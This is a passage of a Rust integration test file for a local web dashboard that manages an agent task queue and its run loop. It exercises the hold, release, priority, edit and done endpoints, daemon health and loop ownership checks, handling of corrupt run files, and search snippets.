9025 PathBuf::from("/repo/magi"),
9026 Source::Human,
9027 );
9028 task.start("20260902-140502-bbbb".to_owned());
9029 task.fail("agent gave up", 9);
9030 queue.put(&mut task).expect("file the task");
9031
9032 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9033 assert_eq!(held.status, 200);
9034 assert_eq!(held.json()["status_str"], "held");
9035
9036 let released = f
9037 .post(&format!("/api/queue/{}/release", task.id), None)
9038 .await;
9039 assert_eq!(released.status, 200);
9040 assert_eq!(released.json()["status_str"], "queued");
9041 assert_eq!(
9042 released.json()["attempts"],
9043 0,
9044 "release is a real second chance, not an instant re-hold"
9045 );
9046 assert_eq!(
9047 queue.get(&task.id).expect("reload").status,
9048 TaskStatus::Queued,
9049 "the change is on disk, not only in the reply"
9050 );
9051 assert!(
9052 !f.home
9053 .path()
9054 .join("queue")
9055 .join(format!("{}.lock", task.id))
9056 .exists(),
9057 "the claim the mutation took is released again"
9058 );
9059 }
9060
9061 #[tokio::test]
9062 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9063 let f = Fixture::start().await;
9064 let queue = f.queue();
9065 let mut task = Task::new(
9066 "busy".to_owned(),
9067 "Running right now".to_owned(),
9068 PathBuf::from("/repo/magi"),
9069 Source::Human,
9070 );
9071 queue.put(&mut task).expect("file the task");
9072 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9073
9074 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9075
9076 assert_eq!(res.status, 409);
9077 assert_eq!(
9078 queue.get(&task.id).expect("reload").status,
9079 TaskStatus::Queued,
9080 "the refused hold changed nothing"
9081 );
9082 }
9083
9084 #[tokio::test]
9085 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9086 let f = Fixture::start().await;
9087 let queue = f.queue();
9088 let mut task = Task::new(
9089 "waiting on the migration".to_owned(),
9090 "Do the thing".to_owned(),
9091 PathBuf::from("/repo/magi"),
9092 Source::Human,
9093 );
9094 queue.put(&mut task).expect("file the task");
9095
9096 let held = f
9097 .post(
9098 &format!("/api/queue/{}/hold", task.id),
9099 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9100 )
9101 .await;
9102 assert_eq!(held.status, 200, "{}", held.body);
9103 assert_eq!(held.json()["status_str"], "held");
9104 assert_eq!(
9105 held.json()["hold_reason"],
9106 "waiting for 20260101-000000-aaaa to land"
9107 );
9108
9109 let listed = f.get("/api/queue").await.json();
9110 assert_eq!(
9111 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9112 "the card reads the reason off the same list route"
9113 );
9114
9115 let mut plain = Task::new(
9118 "no reason given".to_owned(),
9119 "Do another thing".to_owned(),
9120 PathBuf::from("/repo/magi"),
9121 Source::Human,
9122 );
9123 queue.put(&mut plain).expect("file the task");
9124 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9125 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9126 assert!(held_plain.json()["hold_reason"].is_null());
9127
9128 let released = f
9129 .post(&format!("/api/queue/{}/release", task.id), None)
9130 .await;
9131 assert_eq!(released.status, 200);
9132 assert!(
9133 released.json()["hold_reason"].is_null(),
9134 "a release must clear the reason so the next hold does not inherit it"
9135 );
9136 }
9137
9138 #[tokio::test]
9139 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9140 let f = Fixture::start().await;
9141 let queue = f.queue();
9142 let mut older = Task::new(
9143 "filed first".to_owned(),
9144 "x".to_owned(),
9145 PathBuf::from("/repo/magi"),
9146 Source::Human,
9147 );
9148 older.id = "20260101-000001-aaaa".to_owned();
9149 let mut newer = Task::new(
9150 "filed second".to_owned(),
9151 "x".to_owned(),
9152 PathBuf::from("/repo/magi"),
9153 Source::Human,
9154 );
9155 newer.id = "20260101-000002-bbbb".to_owned();
9156 queue.put(&mut older).expect("file older");
9157 queue.put(&mut newer).expect("file newer");
9158
9159 let before = f.get("/api/queue").await.json();
9162 assert_eq!(before[0]["id"], newer.id);
9163 assert_eq!(before[1]["id"], older.id);
9164
9165 let raised = f
9169 .post(
9170 &format!("/api/queue/{}/priority", older.id),
9171 Some(r#"{"priority":10}"#),
9172 )
9173 .await;
9174 assert_eq!(raised.status, 200, "{}", raised.body);
9175 assert_eq!(raised.json()["priority"], 10);
9176
9177 let after = f.get("/api/queue").await.json();
9178 let names: Vec<&str> = after
9179 .as_array()
9180 .unwrap()
9181 .iter()
9182 .map(|t| t["id"].as_str().unwrap())
9183 .collect();
9184 assert_eq!(names[0], older.id, "the raised task now sorts first");
9188 }
9189
9190 #[tokio::test]
9191 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9192 let f = Fixture::start().await;
9193 let queue = f.queue();
9194 let mut task = Task::new(
9195 "in flight".to_owned(),
9196 "x".to_owned(),
9197 PathBuf::from("/repo/magi"),
9198 Source::Human,
9199 );
9200 task.start("20260902-140502-bbbb".to_owned());
9201 queue.put(&mut task).expect("file the task");
9202
9203 let res = f
9204 .post(
9205 &format!("/api/queue/{}/priority", task.id),
9206 Some(r#"{"priority":9}"#),
9207 )
9208 .await;
9209 assert_eq!(res.status, 400, "{}", res.body);
9210 assert!(
9211 res.json()["error"]
9212 .as_str()
9213 .is_some_and(|e| e.contains("running")),
9214 "{}",
9215 res.body
9216 );
9217 assert_eq!(
9218 queue.get(&task.id).expect("reload").priority,
9219 0,
9220 "the refused write must not partially apply"
9221 );
9222 }
9223
9224 #[tokio::test]
9225 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9226 let f = Fixture::start().await;
9227 let queue = f.queue();
9228 let mut task = Task::new(
9229 "old title".to_owned(),
9230 "old instruction".to_owned(),
9231 PathBuf::from("/repo/magi"),
9232 Source::Agent {
9233 run: "20260101-000000-beef".to_owned(),
9234 node: "implement".to_owned(),
9235 },
9236 );
9237 task.runs.push("20260101-000000-beef".to_owned());
9238 queue.put(&mut task).expect("file the task");
9239 let created_at = task.created_at;
9240
9241 let edited = f
9242 .post(
9243 &format!("/api/queue/{}/edit", task.id),
9244 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9245 )
9246 .await;
9247 assert_eq!(edited.status, 200, "{}", edited.body);
9248 let body = edited.json();
9249 assert_eq!(body["title"], "new title");
9250 assert_eq!(body["instruction"], "new instruction");
9251 assert_eq!(body["id"], task.id, "editing must not mint a new id");
9252 assert_eq!(body["created_at"], created_at.to_string());
9253 assert_eq!(
9254 body["source"]["kind"], "agent",
9255 "editing a task an agent filed must not turn it human: {body}"
9256 );
9257 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9258
9259 let reloaded = queue.get(&task.id).expect("reload");
9260 assert_eq!(reloaded.title, "new title");
9261 assert_eq!(reloaded.instruction, "new instruction");
9262 }
9263
9264 #[tokio::test]
9265 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9266 let f = Fixture::start().await;
9267 let queue = f.queue();
9268 let mut owner = Task::new(
9269 "owner".to_owned(),
9270 "review it".to_owned(),
9271 PathBuf::from("/repo/magi"),
9272 Source::Human,
9273 );
9274 owner.review_branch = Some("magi/ab12/A".to_owned());
9275 queue.put(&mut owner).expect("file the owner");
9276 let mut task = Task::new(
9277 "draft".to_owned(),
9278 "old".to_owned(),
9279 PathBuf::from("/repo/magi"),
9280 Source::Human,
9281 );
9282 queue.put(&mut task).expect("file the draft");
9283 let url = format!("/api/queue/{}/edit", task.id);
9284
9285 let refused = f
9286 .post(
9287 &url,
9288 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9289 )
9290 .await;
9291 assert_eq!(refused.status, 409, "{}", refused.body);
9292 let msg = refused.json()["error"]
9293 .as_str()
9294 .unwrap_or_default()
9295 .to_owned();
9296 assert!(
9297 msg.contains("magi/ab12/A") && msg.contains("force"),
9298 "{msg}"
9299 );
9300 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9301
9302 let forced = f
9303 .post(
9304 &url,
9305 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9306 )
9307 .await;
9308 assert_eq!(forced.status, 200, "{}", forced.body);
9309 }
9310
9311 #[tokio::test]
9312 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9313 let f = Fixture::start().await;
9314 let queue = f.queue();
9315 let mut task = Task::new(
9316 "in flight".to_owned(),
9317 "do not touch".to_owned(),
9318 PathBuf::from("/repo/magi"),
9319 Source::Human,
9320 );
9321 task.start("20260902-140502-bbbb".to_owned());
9322 queue.put(&mut task).expect("file the task");
9323
9324 let res = f
9325 .post(
9326 &format!("/api/queue/{}/edit", task.id),
9327 Some(r#"{"title":"x","instruction":"y"}"#),
9328 )
9329 .await;
9330 assert_eq!(res.status, 400, "{}", res.body);
9331 assert!(
9332 res.json()["error"]
9333 .as_str()
9334 .is_some_and(|e| e.contains("running")),
9335 "{}",
9336 res.body
9337 );
9338 assert_eq!(
9339 queue.get(&task.id).expect("reload").instruction,
9340 "do not touch",
9341 "the refused edit must not change the file"
9342 );
9343 }
9344
9345 #[tokio::test]
9346 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9347 let f = Fixture::start().await;
9348 let queue = f.queue();
9349 let mut task = Task::new(
9350 "busy".to_owned(),
9351 "Running right now".to_owned(),
9352 PathBuf::from("/repo/magi"),
9353 Source::Human,
9354 );
9355 queue.put(&mut task).expect("file the task");
9356 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9357
9358 let priority = f
9359 .post(
9360 &format!("/api/queue/{}/priority", task.id),
9361 Some(r#"{"priority":9}"#),
9362 )
9363 .await;
9364 assert_eq!(priority.status, 409, "{}", priority.body);
9365
9366 let edit = f
9367 .post(
9368 &format!("/api/queue/{}/edit", task.id),
9369 Some(r#"{"title":"x","instruction":"y"}"#),
9370 )
9371 .await;
9372 assert_eq!(edit.status, 409, "{}", edit.body);
9373 }
9374
9375 #[tokio::test]
9376 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
9377 let f = Fixture::start().await;
9378 let queue = f.queue();
9379 let mut task = Task::new(
9380 "shipped by hand".to_owned(),
9381 "merged outside the loop".to_owned(),
9382 PathBuf::from("/repo/magi"),
9383 Source::Agent {
9384 run: "20260101-000000-b455".to_owned(),
9385 node: "implement".to_owned(),
9386 },
9387 );
9388 task.runs.push("20260101-000000-b455".to_owned());
9389 task.runs.push("20260101-000000-9af4".to_owned());
9390 queue.put(&mut task).expect("file the task");
9391 let created_at = task.created_at;
9392
9393 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9394 assert_eq!(done.status, 200, "{}", done.body);
9395 assert_eq!(done.json()["status_str"], "done");
9396
9397 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
9398 assert_eq!(
9399 reloaded.runs,
9400 ["20260101-000000-b455", "20260101-000000-9af4"]
9401 );
9402 assert_eq!(
9403 reloaded.source,
9404 Source::Agent {
9405 run: "20260101-000000-b455".to_owned(),
9406 node: "implement".to_owned(),
9407 }
9408 );
9409 assert_eq!(reloaded.created_at, created_at);
9410 }
9411
9412 #[tokio::test]
9413 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
9414 let f = Fixture::start().await;
9419 let queue = f.queue();
9420 let mut task = Task::new(
9421 "landed while held".to_owned(),
9422 "x".to_owned(),
9423 PathBuf::from("/repo/magi"),
9424 Source::Human,
9425 );
9426 task.hold_manual(Some("waiting on 3ed9".to_owned()));
9427 queue.put(&mut task).expect("file the held task");
9428
9429 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9430 assert_eq!(done.status, 200, "{}", done.body);
9431 assert_eq!(done.json()["status_str"], "done");
9432 assert!(
9433 done.json()["hold_reason"].is_null(),
9434 "a done task cannot still be waiting on something: {}",
9435 done.body
9436 );
9437 }
9438
9439 #[tokio::test]
9440 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
9441 let f = Fixture::start().await;
9446 let queue = f.queue();
9447 let runs = f.runs();
9448 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
9449 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
9453
9454 let mut task = Task::new(
9455 "landed by hand".to_owned(),
9456 "x".to_owned(),
9457 PathBuf::from("/repo/magi"),
9458 Source::Human,
9459 );
9460 task.runs.push("20260101-000000-doa1".to_owned());
9461 task.runs.push("20260101-000000-doa2".to_owned());
9462 queue.put(&mut task).expect("file the task");
9463
9464 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9465 assert_eq!(done.status, 200, "{}", done.body);
9466
9467 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
9468 .expect("run still on disk under this fixture's own home");
9469 assert_eq!(
9470 reloaded_run.status,
9471 RunStatus::Superseded,
9472 "closing the task by hand must relabel the earlier blocked attempt exactly \
9473 like the loop's own settle path does"
9474 );
9475 }
9476
9477 #[tokio::test]
9478 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
9479 let f = Fixture::start().await;
9484 let queue = f.queue();
9485 let runs = f.runs();
9486 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
9487 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
9488
9489 let mut task = Task::new(
9490 "closed with nothing actually landed".to_owned(),
9491 "x".to_owned(),
9492 PathBuf::from("/repo/magi"),
9493 Source::Human,
9494 );
9495 task.runs.push("20260101-000000-dob1".to_owned());
9496 task.runs.push("20260101-000000-dob2".to_owned());
9497 queue.put(&mut task).expect("file the task");
9498
9499 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9500 assert_eq!(done.status, 200, "{}", done.body);
9501
9502 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
9503 .expect("run still on disk under this fixture's own home");
9504 assert_eq!(
9505 reloaded_run.status,
9506 RunStatus::Blocked,
9507 "the last recorded attempt never landed, so the earlier one must not be \
9508 relabelled as superseded by it"
9509 );
9510 }
9511
9512 #[tokio::test]
9513 async fn unknown_ids_are_json_not_found_on_both_stores() {
9514 let f = Fixture::start().await;
9515
9516 let run = f.get("/api/runs/nosuchrun").await;
9517 let task = f.post("/api/queue/nosuchtask/hold", None).await;
9518
9519 assert_eq!(run.status, 404);
9520 assert_eq!(task.status, 404);
9521 assert!(
9522 run.json()["error"]
9523 .as_str()
9524 .is_some_and(|e| e.contains("run")),
9525 "the error names what was not found: {}",
9526 run.body
9527 );
9528 assert!(
9529 task.json()["error"]
9530 .as_str()
9531 .is_some_and(|e| e.contains("task")),
9532 "the error names what was not found: {}",
9533 task.body
9534 );
9535 }
9536
9537 #[tokio::test]
9538 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
9539 let f = Fixture::start().await;
9540
9541 let missing = f.get("/api/health").await.json();
9542 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
9543
9544 write_daemon(
9545 f.home.path(),
9546 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9547 );
9548 let stale = f.get("/api/health").await.json();
9549 assert_eq!(
9550 stale["daemon"]["running"], false,
9551 "a minute without a heartbeat is a dead daemon, not a busy one"
9552 );
9553 assert!(
9554 stale["daemon"]["stale_for_secs"]
9555 .as_i64()
9556 .is_some_and(|s| s >= 55),
9557 "staleness is reported so the UI can say how long: {stale}"
9558 );
9559
9560 write_daemon(f.home.path(), Timestamp::now());
9561 let fresh = f.get("/api/health").await.json();
9562 assert_eq!(fresh["daemon"]["running"], true);
9563 assert_eq!(fresh["daemon"]["idle"], false);
9564 assert_eq!(fresh["daemon"]["pid"], 4242);
9565 assert_eq!(fresh["daemon"]["completed"], 7);
9566 assert_eq!(
9567 fresh["daemon"]["current"][0]["task"],
9568 "20260902-140501-aaaa"
9569 );
9570 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
9571 }
9572
9573 #[tokio::test]
9574 async fn the_loop_is_not_running_until_something_starts_it() {
9575 let f = Fixture::start().await;
9576
9577 let view = f.get("/api/loop").await.json();
9578 assert_eq!(view["running"], false);
9579 assert_eq!(
9580 view["owned"], false,
9581 "nobody owns a loop that does not exist: {view}"
9582 );
9583 assert_eq!(view["stopping"], false);
9584 assert_eq!(view["last_error"], Value::Null);
9585 assert_eq!(view["daemon"]["running"], false);
9586 assert_eq!(
9587 view["repo"], "/repo/magi",
9588 "the repository a start would use, named before it is started"
9589 );
9590 }
9591
9592 #[tokio::test]
9593 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
9594 let f = Fixture::start().await;
9595
9596 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9597 assert_eq!(res.status, 200, "{}", res.body);
9598 let view = res.json();
9599 assert_eq!(view["running"], true);
9600 assert_eq!(
9601 view["owned"], true,
9602 "the loop the UI started is the UI's own to stop: {view}"
9603 );
9604 assert_eq!(
9605 view["merge"],
9606 Value::Null,
9607 "no override was given, so each repository's own config decides"
9608 );
9609
9610 let health = f.get("/api/health").await.json();
9614 assert_eq!(health["loop"]["running"], true, "{health}");
9615 assert_eq!(health["loop"]["owned"], true, "{health}");
9616
9617 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9618 }
9619
9620 #[tokio::test]
9621 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
9622 let f = Fixture::start().await;
9623 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9624 assert_eq!(first.status, 200, "{}", first.body);
9625
9626 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9627 assert_eq!(
9628 again.status, 409,
9629 "two loops on one queue race for the same claims: {}",
9630 again.body
9631 );
9632 assert!(
9633 again.json()["error"]
9634 .as_str()
9635 .is_some_and(|e| e.contains("already running the loop")),
9636 "the refusal has to say why: {}",
9637 again.body
9638 );
9639 assert_eq!(
9640 f.get("/api/loop").await.json()["running"],
9641 true,
9642 "and the loop that was already running is untouched by it"
9643 );
9644
9645 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9646 }
9647
9648 #[tokio::test]
9649 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
9650 let f = Fixture::start().await;
9651 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9652
9653 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9654 assert_eq!(
9655 res.status, 200,
9656 "the answer must not wait for the loop: a run in flight is tens of \
9657 minutes and the operator is holding a phone: {}",
9658 res.body
9659 );
9660
9661 let view = settled(&f, |v| v["running"] == false).await;
9662 assert_eq!(view["owned"], false);
9663 assert_eq!(
9664 view["stopping"], false,
9665 "a loop that has stopped is not still stopping: {view}"
9666 );
9667 assert_eq!(
9668 view["last_error"],
9669 Value::Null,
9670 "a loop that was asked to stop did not fail: {view}"
9671 );
9672
9673 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9676 assert_eq!(twice.status, 200, "{}", twice.body);
9677 }
9678
9679 #[tokio::test]
9680 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
9681 let f = Fixture::start().await;
9682 write_daemon(f.home.path(), Timestamp::now());
9685
9686 let view = f.get("/api/loop").await.json();
9687 assert_eq!(view["running"], false, "not in this process: {view}");
9688 assert_eq!(view["owned"], false, "and not this process's to control");
9689 assert_eq!(
9690 view["daemon"]["running"], true,
9691 "but a loop is alive somewhere, which is what the UI must say"
9692 );
9693 assert_eq!(view["daemon"]["pid"], 4242);
9694
9695 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
9696 let res = f.post("/api/loop", Some(body)).await;
9697 assert_eq!(
9698 res.status, 409,
9699 "neither button may pretend to work on someone else's loop: {}",
9700 res.body
9701 );
9702 assert!(
9703 res.json()["error"]
9704 .as_str()
9705 .is_some_and(|e| e.contains("4242")),
9706 "the refusal has to name the process the operator must go to: {}",
9707 res.body
9708 );
9709 }
9710 assert_eq!(
9711 f.get("/api/loop").await.json()["running"],
9712 false,
9713 "and the refusal started nothing"
9714 );
9715 }
9716
9717 #[tokio::test]
9718 async fn a_stale_status_file_is_not_a_foreign_owner() {
9719 let f = Fixture::start().await;
9720 write_daemon(
9721 f.home.path(),
9722 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9723 );
9724
9725 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9726 assert_eq!(
9727 res.status, 200,
9728 "a daemon killed a minute ago must not lock the loop out of its \
9729 own home for good: {}",
9730 res.body
9731 );
9732 assert_eq!(res.json()["running"], true);
9733
9734 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9735 }
9736
9737 #[tokio::test]
9738 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
9739 let f = Fixture::start().await;
9740 let before = f.get("/api/health").await.json()["loop_rev"]
9741 .as_u64()
9742 .expect("a loop revision");
9743
9744 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9745
9746 let after = f.get("/api/health").await.json()["loop_rev"]
9747 .as_u64()
9748 .expect("a loop revision");
9749 assert!(
9750 after > before,
9751 "the loop is in-process state, so this counter is the only thing \
9752 that tells a second device the first one started it: {before} -> \
9753 {after}"
9754 );
9755
9756 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9757 }
9758
9759 #[tokio::test]
9760 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
9761 let f = Fixture::with_loop(launch_broken).await;
9762
9763 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9764 assert_eq!(
9765 res.status, 200,
9766 "starting it is not the failure: {}",
9767 res.body
9768 );
9769
9770 let view = settled(&f, |v| v["last_error"].is_string()).await;
9771 assert_eq!(
9772 view["running"], false,
9773 "a loop that died must not read as running, or the operator has \
9774 nothing to press: {view}"
9775 );
9776 assert_eq!(view["owned"], false);
9777 assert!(
9778 view["last_error"]
9779 .as_str()
9780 .is_some_and(|e| e.contains("read-only file system")),
9781 "the phone is where a loop that died at 3am is visible: {view}"
9782 );
9783
9784 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9787 assert_eq!(again.status, 200, "{}", again.body);
9788 assert_eq!(
9789 again.json()["last_error"],
9790 Value::Null,
9791 "a fresh start does not keep showing why the last one died"
9792 );
9793 }
9794
9795 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
9807 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
9808 let home = TempDir::new().expect("temp home");
9809 let runs = home.path().join("runs");
9810 std::fs::create_dir_all(&runs).expect("runs dir");
9811 let ui = Ui::new(
9812 Queue::at(home.path().join("queue")),
9813 Questions::at(home.path().join("questions")),
9814 Talks::at(home.path().join("talks")),
9815 runs,
9816 home.path().to_path_buf(),
9817 PathBuf::from("/repo/magi"),
9818 )
9819 .with_worktrees_root(home.path().join("wt"))
9820 .with_launch(launch_knocking_on_the_way_out);
9821 let looping = ui.looping();
9822 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9823 .await
9824 .expect("bind loopback");
9825 let addr = listener.local_addr().expect("local addr");
9826 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
9827 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
9828
9829 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
9830 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
9831
9832 let bound = std::sync::Mutex::new(None);
9847 hand_over(home.path(), &looping, served, |_| {
9848 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
9849 let attempt = loop {
9850 match std::net::TcpListener::bind(addr) {
9851 Ok(l) => {
9852 drop(l);
9853 break Ok(());
9854 }
9855 Err(e)
9856 if e.kind() == std::io::ErrorKind::AddrInUse
9857 && std::time::Instant::now() < deadline =>
9858 {
9859 std::thread::sleep(std::time::Duration::from_millis(10));
9860 }
9861 Err(e) => break Err(e.to_string()),
9862 }
9863 };
9864 *bound.lock().expect("bound") = Some(attempt);
9865 Ok(())
9866 })
9867 .await
9868 .expect("hand over");
9869
9870 assert_eq!(
9871 *PARK_HEARD.lock().expect("park heard"),
9872 Some(200),
9873 "the deck must answer while the loop is parking"
9874 );
9875 let attempt = bound
9876 .lock()
9877 .expect("bound")
9878 .take()
9879 .expect("the successor was started");
9880 assert!(
9881 attempt.is_ok(),
9882 "and the address must be free by the time it is: {attempt:?}"
9883 );
9884 }
9885
9886 #[tokio::test]
9887 async fn a_newer_daemon_status_file_still_renders() {
9888 let f = Fixture::start().await;
9889 std::fs::write(
9892 f.home.path().join("daemon.json"),
9893 serde_json::json!({
9894 "schema": 2,
9895 "updated_at": Timestamp::now().to_string(),
9896 "idle": true,
9897 "surprise": { "nested": [1, 2, 3] },
9898 })
9899 .to_string(),
9900 )
9901 .expect("write daemon.json");
9902
9903 let health = f.get("/api/health").await;
9904
9905 assert_eq!(health.status, 200);
9906 assert_eq!(health.json()["daemon"]["running"], true);
9907 }
9908
9909 #[tokio::test]
9910 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
9911 let f = Fixture::start().await;
9912 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
9913 let broken = f.runs().join("20260902-140502-bad");
9914 std::fs::create_dir_all(&broken).expect("run dir");
9915 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
9916
9917 let list = f.get("/api/runs").await;
9918 let detail = f.get("/api/runs/20260902-140502-bad").await;
9919
9920 assert_eq!(list.status, 200);
9921 let listed = list.json();
9922 let ids: Vec<&str> = listed
9923 .as_array()
9924 .expect("an array")
9925 .iter()
9926 .map(|r| r["id"].as_str().expect("an id"))
9927 .collect();
9928 assert_eq!(
9929 ids,
9930 vec!["20260902-140501-good"],
9931 "one unreadable run must not cost the operator the whole history"
9932 );
9933 assert_eq!(detail.status, 500);
9934 assert!(
9935 detail.json()["error"]
9936 .as_str()
9937 .is_some_and(|e| e.contains("run.json")),
9938 "the failure names the file to look at: {}",
9939 detail.body
9940 );
9941 let health = f.get("/api/health").await;
9945 assert_eq!(health.json()["runs_unreadable"], 1);
9946 }
9947
9948 #[tokio::test]
9950 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
9951 let f = Fixture::start().await;
9952 let runs = f.runs();
9953 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
9954 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
9955 let path = runs.join("20260902-140502-bbbb").join("run.json");
9958 let mut v: serde_json::Value =
9959 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
9960 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
9961 std::fs::write(&path, v.to_string()).unwrap();
9962 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
9963 std::fs::write(
9964 runs.join("20260902-140503-cccc").join("run.json"),
9965 "{ not json",
9966 )
9967 .unwrap();
9968
9969 let res = f.get("/api/search?scope=runs&q=quokka").await;
9970 assert_eq!(res.status, 200, "{}", res.body);
9971 let v = res.json();
9972 assert_eq!(v["total"], 1, "{v}");
9973 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
9974 assert_eq!(v["hits"][0]["field"], "text");
9975 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
9976 let parts = v["hits"][0]["snippet"].as_array().unwrap();
9977 assert!(
9978 parts
9979 .iter()
9980 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
9981 "{v}"
9982 );
9983 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
9984 assert_eq!(
9985 flat, "The Quokka leaks across threads",
9986 "whitespace is collapsed"
9987 );
9988
9989 let both = f
9991 .get("/api/search?scope=runs&q=MOBILE%20quokka")
9992 .await
9993 .json();
9994 assert_eq!(both["total"], 1, "{both}");
9995 let neither = f
9996 .get("/api/search?scope=runs&q=quokka%20zebra")
9997 .await
9998 .json();
9999 assert_eq!(neither["total"], 0, "{neither}");
10000 let stmt = f
10002 .get("/api/search?scope=runs&q=mobile%20first")
10003 .await
10004 .json();
10005 assert_eq!(stmt["total"], 2, "{stmt}");
10006 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10007 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10008 }
10009
10010 #[test]
10011 fn snippet_ignores_terms_longer_than_the_field() {
10012 let terms = ["ok".to_owned(), "elephant".to_owned()];
10013 let parts = snippet_of("ok", &terms);
10014 assert_eq!(
10015 parts,
10016 vec![SnippetPart {
10017 text: "ok".to_owned(),
10018 hit: true
10019 }]
10020 );
10021 }
10022
10023 #[test]
10024 fn snippet_marks_matches_longer_than_the_window() {
10025 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10026 let hit_len = |parts: &[SnippetPart]| -> usize {
10027 parts
10028 .iter()
10029 .filter(|p| p.hit)
10030 .map(|p| p.text.chars().count())
10031 .sum()
10032 };
10033 let total =
10034 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10035
10036 let long = "a".repeat(120);
10037 let parts = snippet_of(&long, std::slice::from_ref(&long));
10038 assert!(hit_len(&parts) > 0, "{parts:?}");
10039 assert!(total(&parts) <= cap);
10040
10041 let ja = "あ".repeat(130);
10042 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10043 assert!(hit_len(&parts) > 0, "{parts:?}");
10044 assert!(total(&parts) <= cap);
10045
10046 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10048 let term = format!("ab{}", "c".repeat(100));
10049 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10050 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10051 assert!(total(&parts) <= cap);
10052
10053 let text = format!("{}z", "a".repeat(119));
